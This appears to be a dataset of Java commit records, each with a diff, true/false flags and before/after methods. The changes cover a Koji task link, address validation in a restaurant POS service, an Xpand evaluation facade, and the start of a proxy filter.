grid.getParcel(chunkX + chunkSizeX, chunkZ).getContextType().equals(ContextType.STREET) || grid.getParcel(chunkX + chunkSizeX, chunkZ).getContextType().equals(ContextType.HIGHWAY); return Direction.getRandomDirection(random, northP, southP, eastP, westP); // haven't found any streets } private void partitionXwithRoads(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, cut, chunkSizeZ); for (int i = chunkZ; i < chunkZ + chunkSizeZ; i++) { grid.setParcel(chunkX + cut, i, new RoadParcel(grid, chunkX + cut, i)); } partition2 = new DistrictParcel(grid, chunkX + cut + 1, chunkZ, chunkSizeX - cut - 1, chunkSizeZ); } private void partitionX(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, cut, chunkSizeZ); partition2 = new DistrictParcel(grid, chunkX + cut, chunkZ, chunkSizeX - cut, chunkSizeZ); } private void partitionZwithRoads(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, chunkSizeX, cut); for (int i = chunkX; i < chunkX + chunkSizeX; i++) { grid.setParcel(i, chunkZ + cut, new RoadParcel(grid, i, chunkZ + cut)); } partition2 = new DistrictParcel(grid, chunkX, chunkZ + cut + 1, chunkSizeX, chunkSizeZ - cut - 1); } private void partitionZ(Grid grid, int cut) { partition1 = new DistrictParcel(grid, chunkX, chunkZ, chunkSizeX, cut); partition2 = new DistrictParcel(grid, chunkX, chunkZ + cut, chunkSizeX, chunkSizeZ - cut); } }
diff --git a/org.fedoraproject.eclipse.packager.koji/src/org/fedoraproject/eclipse/packager/koji/KojiMessageDialog.java b/org.fedoraproject.eclipse.packager.koji/src/org/fedoraproject/eclipse/packager/koji/KojiMessageDialog.java index e6d9302..28b1037 100644 --- a/org.fedoraproject.eclipse.packager.koji/src/org/fedoraproject/eclipse/packager/koji/KojiMessageDialog.java +++ b/org.fedoraproject.eclipse.packager.koji/src/org/fedoraproject/eclipse/packager/koji/KojiMessageDialog.java @@ -1,99 +1,99 @@ /******************************************************************************* * Copyright (c) 2010 Red Hat Inc. and others. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * Red Hat Inc. - initial API and implementation *******************************************************************************/ package org.fedoraproject.eclipse.packager.koji; import java.net.MalformedURLException; import java.net.URL; import org.eclipse.jface.dialogs.MessageDialog; import org.eclipse.osgi.util.NLS; import org.eclipse.swt.SWT; import org.eclipse.swt.graphics.Image; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Event; import org.eclipse.swt.widgets.Listener; import org.eclipse.swt.widgets.Shell; import org.eclipse.ui.PartInitException; import org.eclipse.ui.PlatformUI; import org.eclipse.ui.browser.IWebBrowser; import org.eclipse.ui.browser.IWorkbenchBrowserSupport; import org.eclipse.ui.forms.widgets.FormText; /** * Message dialog showing the link to the koji page showing build info * */ public class KojiMessageDialog extends MessageDialog { private String taskNo; private IKojiHubClient kojiClient; /** * Creates the message dialog with the given index. * * @param parentShell * @param dialogTitle * @param dialogTitleImage * @param dialogImageType * @param dialogButtonLabels * @param defaultIndex * @param kojiClient * @param taskId */ public KojiMessageDialog(Shell parentShell, String dialogTitle, Image dialogTitleImage, int dialogImageType, String[] dialogButtonLabels, int defaultIndex, IKojiHubClient kojiClient, String taskId) { super(parentShell, dialogTitle, dialogTitleImage, NLS.bind(Messages.kojiMessageDialog_buildNumberMsg, taskId), dialogImageType, dialogButtonLabels, defaultIndex); this.kojiClient = kojiClient; this.taskNo = taskId; } @Override public Image getImage() { return KojiPlugin.getImageDescriptor("icons/koji.png") //$NON-NLS-1$ .createImage(); } @Override protected Control createCustomArea(Composite parent) { FormText taskLink = new FormText(parent, SWT.NONE); - final String url = kojiClient.getWebUrl() + "/koji/taskinfo?taskID=" //$NON-NLS-1$ + final String url = kojiClient.getWebUrl().toString() + "/taskinfo?taskID=" //$NON-NLS-1$ + taskNo; taskLink.setText("<form><p>" + //$NON-NLS-1$ Messages.kojiMessageDialog_buildResponseMsg + "</p><p>"+ url //$NON-NLS-1$ //$NON-NLS-2$ + "</p></form>", true, true); //$NON-NLS-1$ taskLink.addListener(SWT.Selection, new Listener() { @Override public void handleEvent(Event event) { try { IWebBrowser browser = PlatformUI .getWorkbench() .getBrowserSupport() .createBrowser( IWorkbenchBrowserSupport.NAVIGATION_BAR | IWorkbenchBrowserSupport.LOCATION_BAR | IWorkbenchBrowserSupport.STATUS, "koji_task", null, null); //$NON-NLS-1$ browser.openURL(new URL(url)); } catch (PartInitException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }); return taskLink; } }
true
true
protected Control createCustomArea(Composite parent) { FormText taskLink = new FormText(parent, SWT.NONE); final String url = kojiClient.getWebUrl() + "/koji/taskinfo?taskID=" //$NON-NLS-1$ + taskNo; taskLink.setText("<form><p>" + //$NON-NLS-1$ Messages.kojiMessageDialog_buildResponseMsg + "</p><p>"+ url //$NON-NLS-1$ //$NON-NLS-2$ + "</p></form>", true, true); //$NON-NLS-1$ taskLink.addListener(SWT.Selection, new Listener() { @Override public void handleEvent(Event event) { try { IWebBrowser browser = PlatformUI .getWorkbench() .getBrowserSupport() .createBrowser( IWorkbenchBrowserSupport.NAVIGATION_BAR | IWorkbenchBrowserSupport.LOCATION_BAR | IWorkbenchBrowserSupport.STATUS, "koji_task", null, null); //$NON-NLS-1$ browser.openURL(new URL(url)); } catch (PartInitException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }); return taskLink; }
protected Control createCustomArea(Composite parent) { FormText taskLink = new FormText(parent, SWT.NONE); final String url = kojiClient.getWebUrl().toString() + "/taskinfo?taskID=" //$NON-NLS-1$ + taskNo; taskLink.setText("<form><p>" + //$NON-NLS-1$ Messages.kojiMessageDialog_buildResponseMsg + "</p><p>"+ url //$NON-NLS-1$ //$NON-NLS-2$ + "</p></form>", true, true); //$NON-NLS-1$ taskLink.addListener(SWT.Selection, new Listener() { @Override public void handleEvent(Event event) { try { IWebBrowser browser = PlatformUI .getWorkbench() .getBrowserSupport() .createBrowser( IWorkbenchBrowserSupport.NAVIGATION_BAR | IWorkbenchBrowserSupport.LOCATION_BAR | IWorkbenchBrowserSupport.STATUS, "koji_task", null, null); //$NON-NLS-1$ browser.openURL(new URL(url)); } catch (PartInitException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }); return taskLink; }
diff --git a/res-pos/src/main/java/com/res/service/impl/AddressServiceImpl.java b/res-pos/src/main/java/com/res/service/impl/AddressServiceImpl.java index 74e5e7d..ae28925 100644 --- a/res-pos/src/main/java/com/res/service/impl/AddressServiceImpl.java +++ b/res-pos/src/main/java/com/res/service/impl/AddressServiceImpl.java @@ -1,95 +1,94 @@ package com.res.service.impl; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import com.res.dao.hibernate.AddressDao; import com.res.domain.Address; import com.res.exception.ServiceException; import com.res.service.AddressService; import com.res.util.MessageLoader; @Service("addressService") @Transactional public class AddressServiceImpl implements AddressService { private static Logger logger = Logger.getLogger(AddressServiceImpl.class); @Autowired private AddressDao addressDao; @Autowired private MessageLoader messageLoader; public void saveOrUpdate(Address address) throws ServiceException { - if(address.getState() == null){ - throw new ServiceException("state.is.required"); + if(address.getState() != null){ + address.setState(address.getState().toUpperCase()); } - address.setState(address.getState().toUpperCase()); Long addressId = addressDao.isAddressUnique(address.getStreet1(), address.getCity()); if(addressId == null){ addressDao.save(address); }else{ if(logger.isDebugEnabled()){ logger.debug("address is not unique, updating."); } address.setAddressId(addressId); addressDao.update(address); } } public void update(Address address) { addressDao.update(address); } public void delete(Address address) { addressDao.delete(address); } public Address findByAddressId(long id) { return addressDao.findByAddressId(id); } @Override public List<Address> listAddress() { return addressDao.listAddress(); } @Override public void deleteAddress(long id) { addressDao.deleteAddress(id); } @Override public List<String> typeaheadStreet1(long restaurantId) { return addressDao.typeaheadAttribute(restaurantId, "street1"); } @Override public List<String> typeaheadStreet2(long restaurantId) { return addressDao.typeaheadAttribute(restaurantId, "street2"); } @Override public List<String> typeaheadCity(long restaurantId) { return addressDao.typeaheadAttribute(restaurantId, "city"); } @Override public List<String> typeaheadState(long restaurantId) { return addressDao.typeaheadAttribute(restaurantId, "state"); } @Override public List<String> typeaheadZipcode(long restaurantId) { return addressDao.typeaheadAttribute(restaurantId, "zipCode"); } }
false
true
public void saveOrUpdate(Address address) throws ServiceException { if(address.getState() == null){ throw new ServiceException("state.is.required"); } address.setState(address.getState().toUpperCase()); Long addressId = addressDao.isAddressUnique(address.getStreet1(), address.getCity()); if(addressId == null){ addressDao.save(address); }else{ if(logger.isDebugEnabled()){ logger.debug("address is not unique, updating."); } address.setAddressId(addressId); addressDao.update(address); } }
public void saveOrUpdate(Address address) throws ServiceException { if(address.getState() != null){ address.setState(address.getState().toUpperCase()); } Long addressId = addressDao.isAddressUnique(address.getStreet1(), address.getCity()); if(addressId == null){ addressDao.save(address); }else{ if(logger.isDebugEnabled()){ logger.debug("address is not unique, updating."); } address.setAddressId(addressId); addressDao.update(address); } }
diff --git a/plugins/org.eclipse.gmf.xpand.ant/src/org/eclipse/gmf/internal/xpand/ant/XpandFacade.java b/plugins/org.eclipse.gmf.xpand.ant/src/org/eclipse/gmf/internal/xpand/ant/XpandFacade.java index 4881d4593..051c27ef3 100644 --- a/plugins/org.eclipse.gmf.xpand.ant/src/org/eclipse/gmf/internal/xpand/ant/XpandFacade.java +++ b/plugins/org.eclipse.gmf.xpand.ant/src/org/eclipse/gmf/internal/xpand/ant/XpandFacade.java @@ -1,467 +1,467 @@ /* * Copyright (c) 2007, 2009 Borland Software Corporation * * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html */ package org.eclipse.gmf.internal.xpand.ant; import java.io.File; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import java.util.Collection; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.LinkedHashMap; import java.util.LinkedList; import java.util.Map; import java.util.Set; import org.eclipse.emf.common.util.URI; import org.eclipse.emf.ecore.EClassifier; import org.eclipse.emf.ecore.EPackage; import org.eclipse.emf.ecore.EcorePackage; import org.eclipse.emf.ecore.EPackage.Registry; import org.eclipse.emf.ecore.impl.EPackageRegistryImpl; import org.eclipse.emf.ecore.resource.Resource; import org.eclipse.emf.ecore.resource.ResourceSet; import org.eclipse.gmf.internal.xpand.Activator; import org.eclipse.gmf.internal.xpand.BufferOutput; import org.eclipse.gmf.internal.xpand.BuiltinMetaModel; import org.eclipse.gmf.internal.xpand.ResourceManager; import org.eclipse.gmf.internal.xpand.StreamsHolder; import org.eclipse.gmf.internal.xpand.model.AmbiguousDefinitionException; import org.eclipse.gmf.internal.xpand.model.EvaluationException; import org.eclipse.gmf.internal.xpand.model.ExecutionContext; import org.eclipse.gmf.internal.xpand.model.ExecutionContextImpl; import org.eclipse.gmf.internal.xpand.model.Scope; import org.eclipse.gmf.internal.xpand.model.Variable; import org.eclipse.gmf.internal.xpand.model.XpandDefinition; import org.eclipse.gmf.internal.xpand.util.BundleResourceManager; import org.eclipse.gmf.internal.xpand.xtend.ast.QvtResource; import org.eclipse.m2m.internal.qvt.oml.expressions.Module; import org.eclipse.m2m.qvt.oml.runtime.util.OCLEnvironmentWithQVTAccessFactory; import org.eclipse.ocl.ParserException; import org.eclipse.ocl.ecore.EcoreEvaluationEnvironment; import org.eclipse.ocl.ecore.EcoreFactory; import org.eclipse.ocl.ecore.OCL; import org.eclipse.ocl.ecore.OCLExpression; import org.eclipse.ocl.ecore.OCL.Helper; import org.eclipse.ocl.ecore.OCL.Query; import org.osgi.framework.Bundle; /** * Redistributable API for Xpand evaluation * @author artem */ public final class XpandFacade { private static final String IMPLICIT_VAR_NAME = "self"; //$NON-NLS-1$ private static final String IMPLICIT_VAR_NAME_BACKWARD_COMPATIBILITY = "this"; //$NON-NLS-1$ private final LinkedList<Variable> myGlobals = new LinkedList<Variable>(); private final LinkedList<URL> myLocations = new LinkedList<URL>(); private final LinkedList<String> myImportedModels = new LinkedList<String>(); private final LinkedList<String> myExtensionFiles = new LinkedList<String>(); private boolean myEnforceReadOnlyNamedStreamsAfterAccess = false; private ExecutionContext myXpandCtx; private BufferOutput myBufferOut; private HashMap<Object, StreamsHolder> myStreamsHolders; private final StringBuilder myOut = new StringBuilder(); private Map<String, URI> myMetamodelURI2LocationMap = new HashMap<String, URI>(); private final ResourceSet myResourceSet; private Map<String, URI> mySchemaLocations; public XpandFacade(ResourceSet resourceSet) { myResourceSet = resourceSet; } /** * Sort of copy constructor, create a new facade pre-initialized with values * of existing one. * @param chain facade to copy settings (globals, locations, metamodels, extensions, loaders) from, can't be <code>null</code>. */ public XpandFacade(XpandFacade chain) { assert chain != null; myGlobals.addAll(chain.myGlobals); myLocations.addAll(chain.myLocations); myImportedModels.addAll(chain.myImportedModels); myExtensionFiles.addAll(chain.myExtensionFiles); // // not necessary, but doesn't seem to hurt myXpandCtx = chain.myXpandCtx; // new state is formed with cloning myResourceSet = chain.myResourceSet; myMetamodelURI2LocationMap = chain.myMetamodelURI2LocationMap; mySchemaLocations = chain.mySchemaLocations; } /** * Named streams (those created by <<FILE file slotName>> syntax) may be put into a strict mode that prevents write operations * after the contents of the stream have been accessed. By default, named streams are not in strict mode. * @param value */ public void setEnforceReadOnlyNamedStreamsAfterAccess(boolean value) { myEnforceReadOnlyNamedStreamsAfterAccess = value; } public void addGlobal(String name, Object value) { assert name != null; for (Iterator<Variable> it = myGlobals.listIterator(); it.hasNext();) { if (it.next().getName().equals(name)) { it.remove(); } } if (name == null || value == null) { return; } myGlobals.addFirst(new Variable(name, null, value)); clearAllContexts(); } public void addLocation(String url) throws MalformedURLException { addLocation(new URL(url)); } public void addLocation(URL url) { assert url != null; myLocations.addLast(url); clearAllContexts(); } public void registerMetamodel(String nsUri, URI location) { if (!myMetamodelURI2LocationMap.containsKey(nsUri)) { myMetamodelURI2LocationMap.put(nsUri, location); } } public void setSchemaLocations(Map<String, URI> schemaLocations) { mySchemaLocations = schemaLocations; } /** * Registers a class loader to load Java classes accessed from templates and/or expressions. * @param loader ClassLoader to load classes though * @deprecated QVT-based dialect of Xpand does not use classload contexts. */ @Deprecated public void addClassLoadContext(ClassLoader loader) { //do nothing } /** * Register a bundle to load Java classes from (i.e. JAVA functions in Xtend) * @param bundle - generally obtained from {@link org.eclipse.core.runtime.Platform#getBundle(String)}, should not be null. * @deprecated QVT-based dialect of Xpand does not use classload contexts. */ @Deprecated public void addClassLoadContext(Bundle bundle) { //do nothing } public void addMetamodel(String metamodel) { if (myImportedModels.contains(metamodel)) { return; } myImportedModels.add(metamodel); } /** * @param extensionFile double-colon separated qualified name of qvto file */ public void addExtensionFile(String extensionFile) { if (myExtensionFiles.contains(extensionFile)) { return; } myExtensionFiles.add(extensionFile); } public <T> T evaluate(String expression, Object target) { // XXX perhaps, need to check for target == null and do not set 'this' then return evaluate(expression, Collections.singletonMap("self", target)); } /** * @param expression xtend expression to evaluate * @param context should not be <code>null</code> * @return */ @SuppressWarnings("unchecked") public <T> T evaluate(String expression, Map<String,?> context) { assert context != null; // nevertheless, prevent NPE. ResourceManager rm; if (myLocations.isEmpty()) { try { // use current default path as root // use canonicalFile to get rid of dot after it get resolved to // current dir rm = new BundleResourceManager(new File(".").getCanonicalFile().toURI().toURL()); } catch (IOException ex) { // should not happen rm = null; } } else { rm = new BundleResourceManager(myLocations.toArray(new URL[myLocations.size()])); } Set<Module> importedModules = getImportedModules(rm); OCLEnvironmentWithQVTAccessFactory factory = new OCLEnvironmentWithQVTAccessFactory(importedModules, getAllVisibleModels()); OCL ocl = OCL.newInstance(factory); Object thisValue = null; if (context != null) { for (Map.Entry<String, ?> nextEntry : context.entrySet()) { String varName = nextEntry.getKey(); Object varValue = nextEntry.getValue(); if (IMPLICIT_VAR_NAME.equals(varName) || IMPLICIT_VAR_NAME_BACKWARD_COMPATIBILITY.equals(varName)) { assert thisValue == null; //prevent simultaneous this and self thisValue = varValue; continue; } EClassifier varType = BuiltinMetaModel.getType(getXpandContext(), varValue); org.eclipse.ocl.ecore.Variable oclVar = EcoreFactory.eINSTANCE.createVariable(); oclVar.setName(varName); oclVar.setType(varType); ocl.getEnvironment().addElement(varName, oclVar, true); } } Helper oclHelper = ocl.createOCLHelper(); if (thisValue != null) { oclHelper.setContext(BuiltinMetaModel.getType(getXpandContext(), thisValue)); } else { oclHelper.setContext(ocl.getEnvironment().getOCLStandardLibrary().getOclVoid()); } OCLExpression exp; try { exp = oclHelper.createQuery(expression); } catch (ParserException e) { // e.printStackTrace(); - throw new EvaluationException(e, null); + throw new EvaluationException(e); } Query query = ocl.createQuery(exp); EcoreEvaluationEnvironment ee = (EcoreEvaluationEnvironment) query.getEvaluationEnvironment(); if (context != null) { for (Map.Entry<String, ?> nextEntry : context.entrySet()) { String varName = nextEntry.getKey(); Object varValue = nextEntry.getValue(); if (!IMPLICIT_VAR_NAME.equals(varName) && !IMPLICIT_VAR_NAME_BACKWARD_COMPATIBILITY.equals(varName)) { ee.add(varName, varValue); } } } Object result; if (thisValue != null) { result = query.evaluate(thisValue); } else { result = query.evaluate(); } if (result == ocl.getEnvironment().getOCLStandardLibrary().getOclInvalid()) { return null; //XXX: or throw an exception? } return (T) result; } private Set<Module> getImportedModules(ResourceManager rm) { Set<Module> result = new HashSet<Module>(); for (String extensionFile : myExtensionFiles) { QvtResource qvtResource = rm.loadQvtResource(extensionFile); result.addAll(qvtResource.getModules()); } return result; } private EPackage.Registry getAllVisibleModels() { assert myImportedModels != null; // TODO respect meta-models imported not only with nsURI EPackage.Registry result = new EPackageRegistryImpl(); for (String namespace : myImportedModels) { EPackage pkg = Activator.findMetaModel(namespace); if (pkg != null) { result.put(namespace, pkg); } } if (result.isEmpty()) { // hack for tests result.put(EcorePackage.eNS_URI, EcorePackage.eINSTANCE); } return result; } public String xpand(String templateName, Object target, Object... arguments) { if (target == null) { return null; } clearOut(); ExecutionContext ctx = getXpandContext(); try { new org.eclipse.gmf.internal.xpand.XpandFacade(ctx).evaluate(templateName, target, arguments); } catch (AmbiguousDefinitionException e) { throw new EvaluationException(e); } return myOut.toString(); } public Map<Object, String> xpand(String templateName, Collection<?> target, Object... arguments) { // though it's reasonable to keep original order of input elements, // is it worth declaring in API? LinkedHashMap<Object, String> inputToResult = new LinkedHashMap<Object, String>(); boolean invokeForCollection = findDefinition(templateName, target, arguments) != null; if (invokeForCollection) { inputToResult.put(target, xpand(templateName, (Object)target, arguments)); return inputToResult; } myStreamsHolders = new HashMap<Object, StreamsHolder>(); for (Object nextInput: target) { if (nextInput == null) { continue; } String result = xpand(templateName, nextInput, arguments); inputToResult.put(nextInput, result); myStreamsHolders.put(nextInput, myBufferOut.getNamedStreams()); } return inputToResult; } /** * Returns names of named streams that were created during the most recent {@link #xpand(String, Object, Object...) operation and have non-empty contents. * @return */ public Collection<String> getNamedStreams() { assert myStreamsHolders == null; //if invoked for several elements separately, another version of this method should be used. if (myBufferOut == null) { return Collections.emptyList(); } return myBufferOut.getNamedStreams().getSlotNames(); } /** * Returns contents of the named stream that was created during the most recent {@link #xpand(String, Object, Object...) operation. * If the stream with the given name does not exist, the operation will throw an exception. * @param streamName * @return */ public String getNamedStreamContents(String streamName) { assert myStreamsHolders == null; //if invoked for several elements separately, another version of this method should be used. if (myBufferOut == null) { throw new UnsupportedOperationException("Stream with the given name does not exist", null); } return myBufferOut.getNamedStreams().getStreamContents(streamName); } /** * Returns names of non-empty named streams that were created during the most recent {@link #xpand(String, Collection, Object...)} operation for the given input. * @return */ public Collection<String> getNamedStreams(Object input) { if (myStreamsHolders == null) { //assume this is the input that was used during the last invocation, but do not enforce this. return getNamedStreams(); } StreamsHolder streamsHolder = myStreamsHolders.get(input); if (streamsHolder == null) { return Collections.emptyList(); } return streamsHolder.getSlotNames(); } /** * Returns contents of the named stream that was created during the most recent {@link #xpand(String, Collection, Object...) operation. * If the stream with the given name does not exist, the operation will throw an exception. * @param streamName * @return */ public String getNamedStreamContents(Object input, String streamName) { if (myStreamsHolders == null) { //assume this is the input that was used during the last invocation, but do not enforce this. return getNamedStreamContents(streamName); } StreamsHolder streamsHolder = myStreamsHolders.get(input); if (streamsHolder == null) { throw new UnsupportedOperationException("Stream with the given name does not exist", null); } return streamsHolder.getStreamContents(streamName); } private XpandDefinition findDefinition(String templateName, Object target, Object[] arguments) { EClassifier targetType = BuiltinMetaModel.getType(getXpandContext(), target); final EClassifier[] paramTypes = new EClassifier[arguments == null ? 0 : arguments.length]; for (int i = 0; i < paramTypes.length; i++) { paramTypes[i] = BuiltinMetaModel.getType(getXpandContext(), arguments[i]); } try { return getXpandContext().findDefinition(templateName, targetType, paramTypes); } catch (AmbiguousDefinitionException e) { return null; } } private void clearAllContexts() { myXpandCtx = null; } private void clearOut() { myOut.setLength(200); myOut.trimToSize(); myOut.setLength(0); //To clear streams, we have no other option but to reset the xpand context myXpandCtx = null; myBufferOut = null; } private ExecutionContext getXpandContext() { if (myXpandCtx == null) { BundleResourceManager rm = new BundleResourceManager(myLocations.toArray(new URL[myLocations.size()])) { @Override protected ResourceSet getMetamodelResourceSet() { return myResourceSet; } }; myBufferOut = new BufferOutput(myOut, myEnforceReadOnlyNamedStreamsAfterAccess); Scope scope = new Scope(rm, myGlobals, myBufferOut) { @Override public Registry createPackageRegistry(String[] metamodelURIs) { assert metamodelURIs != null; EPackage.Registry result = new EPackageRegistryImpl(); for (String namespace : metamodelURIs) { EPackage pkg; if (myMetamodelURI2LocationMap.containsKey(namespace)) { pkg = loadMainEPackage(myMetamodelURI2LocationMap.get(namespace)); } else if (EPackage.Registry.INSTANCE.containsKey(namespace)) { pkg = EPackage.Registry.INSTANCE.getEPackage(namespace); } else { URI metamodelURI = mySchemaLocations.get(namespace); Resource resource = myResourceSet.getResource(metamodelURI, true); if (resource.getContents().size() > 0 && resource.getContents().get(0) instanceof EPackage) { pkg = (EPackage) resource.getContents().get(0); } else { pkg = null; } } if (pkg != null) { result.put(namespace, pkg); } } return result; } }; myXpandCtx = new ExecutionContextImpl(scope); } return myXpandCtx; } private EPackage loadMainEPackage(URI uri) { Resource resource = myResourceSet.getResource(uri, true); if (resource.getContents().size() > 0 && resource.getContents().get(0) instanceof EPackage) { return (EPackage) resource.getContents().get(0); } return null; } }
true
true
public <T> T evaluate(String expression, Map<String,?> context) { assert context != null; // nevertheless, prevent NPE. ResourceManager rm; if (myLocations.isEmpty()) { try { // use current default path as root // use canonicalFile to get rid of dot after it get resolved to // current dir rm = new BundleResourceManager(new File(".").getCanonicalFile().toURI().toURL()); } catch (IOException ex) { // should not happen rm = null; } } else { rm = new BundleResourceManager(myLocations.toArray(new URL[myLocations.size()])); } Set<Module> importedModules = getImportedModules(rm); OCLEnvironmentWithQVTAccessFactory factory = new OCLEnvironmentWithQVTAccessFactory(importedModules, getAllVisibleModels()); OCL ocl = OCL.newInstance(factory); Object thisValue = null; if (context != null) { for (Map.Entry<String, ?> nextEntry : context.entrySet()) { String varName = nextEntry.getKey(); Object varValue = nextEntry.getValue(); if (IMPLICIT_VAR_NAME.equals(varName) || IMPLICIT_VAR_NAME_BACKWARD_COMPATIBILITY.equals(varName)) { assert thisValue == null; //prevent simultaneous this and self thisValue = varValue; continue; } EClassifier varType = BuiltinMetaModel.getType(getXpandContext(), varValue); org.eclipse.ocl.ecore.Variable oclVar = EcoreFactory.eINSTANCE.createVariable(); oclVar.setName(varName); oclVar.setType(varType); ocl.getEnvironment().addElement(varName, oclVar, true); } } Helper oclHelper = ocl.createOCLHelper(); if (thisValue != null) { oclHelper.setContext(BuiltinMetaModel.getType(getXpandContext(), thisValue)); } else { oclHelper.setContext(ocl.getEnvironment().getOCLStandardLibrary().getOclVoid()); } OCLExpression exp; try { exp = oclHelper.createQuery(expression); } catch (ParserException e) { // e.printStackTrace(); throw new EvaluationException(e, null); } Query query = ocl.createQuery(exp); EcoreEvaluationEnvironment ee = (EcoreEvaluationEnvironment) query.getEvaluationEnvironment(); if (context != null) { for (Map.Entry<String, ?> nextEntry : context.entrySet()) { String varName = nextEntry.getKey(); Object varValue = nextEntry.getValue(); if (!IMPLICIT_VAR_NAME.equals(varName) && !IMPLICIT_VAR_NAME_BACKWARD_COMPATIBILITY.equals(varName)) { ee.add(varName, varValue); } } } Object result; if (thisValue != null) { result = query.evaluate(thisValue); } else { result = query.evaluate(); } if (result == ocl.getEnvironment().getOCLStandardLibrary().getOclInvalid()) { return null; //XXX: or throw an exception? } return (T) result; }
public <T> T evaluate(String expression, Map<String,?> context) { assert context != null; // nevertheless, prevent NPE. ResourceManager rm; if (myLocations.isEmpty()) { try { // use current default path as root // use canonicalFile to get rid of dot after it get resolved to // current dir rm = new BundleResourceManager(new File(".").getCanonicalFile().toURI().toURL()); } catch (IOException ex) { // should not happen rm = null; } } else { rm = new BundleResourceManager(myLocations.toArray(new URL[myLocations.size()])); } Set<Module> importedModules = getImportedModules(rm); OCLEnvironmentWithQVTAccessFactory factory = new OCLEnvironmentWithQVTAccessFactory(importedModules, getAllVisibleModels()); OCL ocl = OCL.newInstance(factory); Object thisValue = null; if (context != null) { for (Map.Entry<String, ?> nextEntry : context.entrySet()) { String varName = nextEntry.getKey(); Object varValue = nextEntry.getValue(); if (IMPLICIT_VAR_NAME.equals(varName) || IMPLICIT_VAR_NAME_BACKWARD_COMPATIBILITY.equals(varName)) { assert thisValue == null; //prevent simultaneous this and self thisValue = varValue; continue; } EClassifier varType = BuiltinMetaModel.getType(getXpandContext(), varValue); org.eclipse.ocl.ecore.Variable oclVar = EcoreFactory.eINSTANCE.createVariable(); oclVar.setName(varName); oclVar.setType(varType); ocl.getEnvironment().addElement(varName, oclVar, true); } } Helper oclHelper = ocl.createOCLHelper(); if (thisValue != null) { oclHelper.setContext(BuiltinMetaModel.getType(getXpandContext(), thisValue)); } else { oclHelper.setContext(ocl.getEnvironment().getOCLStandardLibrary().getOclVoid()); } OCLExpression exp; try { exp = oclHelper.createQuery(expression); } catch (ParserException e) { // e.printStackTrace(); throw new EvaluationException(e); } Query query = ocl.createQuery(exp); EcoreEvaluationEnvironment ee = (EcoreEvaluationEnvironment) query.getEvaluationEnvironment(); if (context != null) { for (Map.Entry<String, ?> nextEntry : context.entrySet()) { String varName = nextEntry.getKey(); Object varValue = nextEntry.getValue(); if (!IMPLICIT_VAR_NAME.equals(varName) && !IMPLICIT_VAR_NAME_BACKWARD_COMPATIBILITY.equals(varName)) { ee.add(varName, varValue); } } } Object result; if (thisValue != null) { result = query.evaluate(thisValue); } else { result = query.evaluate(); } if (result == ocl.getEnvironment().getOCLStandardLibrary().getOclInvalid()) { return null; //XXX: or throw an exception? } return (T) result; }
diff --git a/src/gov/loc/ndmso/proxyfilter/RequestProxy.java b/src/gov/loc/ndmso/proxyfilter/RequestProxy.java index 1fb76d6..899ee14 100644 --- a/src/gov/loc/ndmso/proxyfilter/RequestProxy.java +++ b/src/gov/loc/ndmso/proxyfilter/RequestProxy.java @@ -1,312 +1,313 @@ /** * Modified 2011-12-12 by Kevin Ford ([email protected], [email protected]) * * It's a little ironic that the below copyright and license must pollute the * top part of this file. It appears that Tuckey took the work of Ansorg and placed * it under his (Tuckey's) own copyright. Nothing wrong with that; makes for a better world. * * By the same logic, as a federal employee who modified this for work-related purposes, * can I push this into the public domain? * * Also, in a networked world, could we not just include a link to the license? Oy. * */ /** * Copyright (c) 2008, Paul Tuckey * All rights reserved. * ==================================================================== * Licensed under the BSD License. Text as follows. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * - Neither the name tuckey.org nor the names of its contributors * may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ==================================================================== */ package gov.loc.ndmso.proxyfilter; import org.apache.commons.httpclient.Header; import org.apache.commons.httpclient.HostConfiguration; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.HttpMethod; import org.apache.commons.httpclient.ProxyHost; import org.apache.commons.httpclient.SimpleHttpConnectionManager; import org.apache.commons.httpclient.methods.GetMethod; import 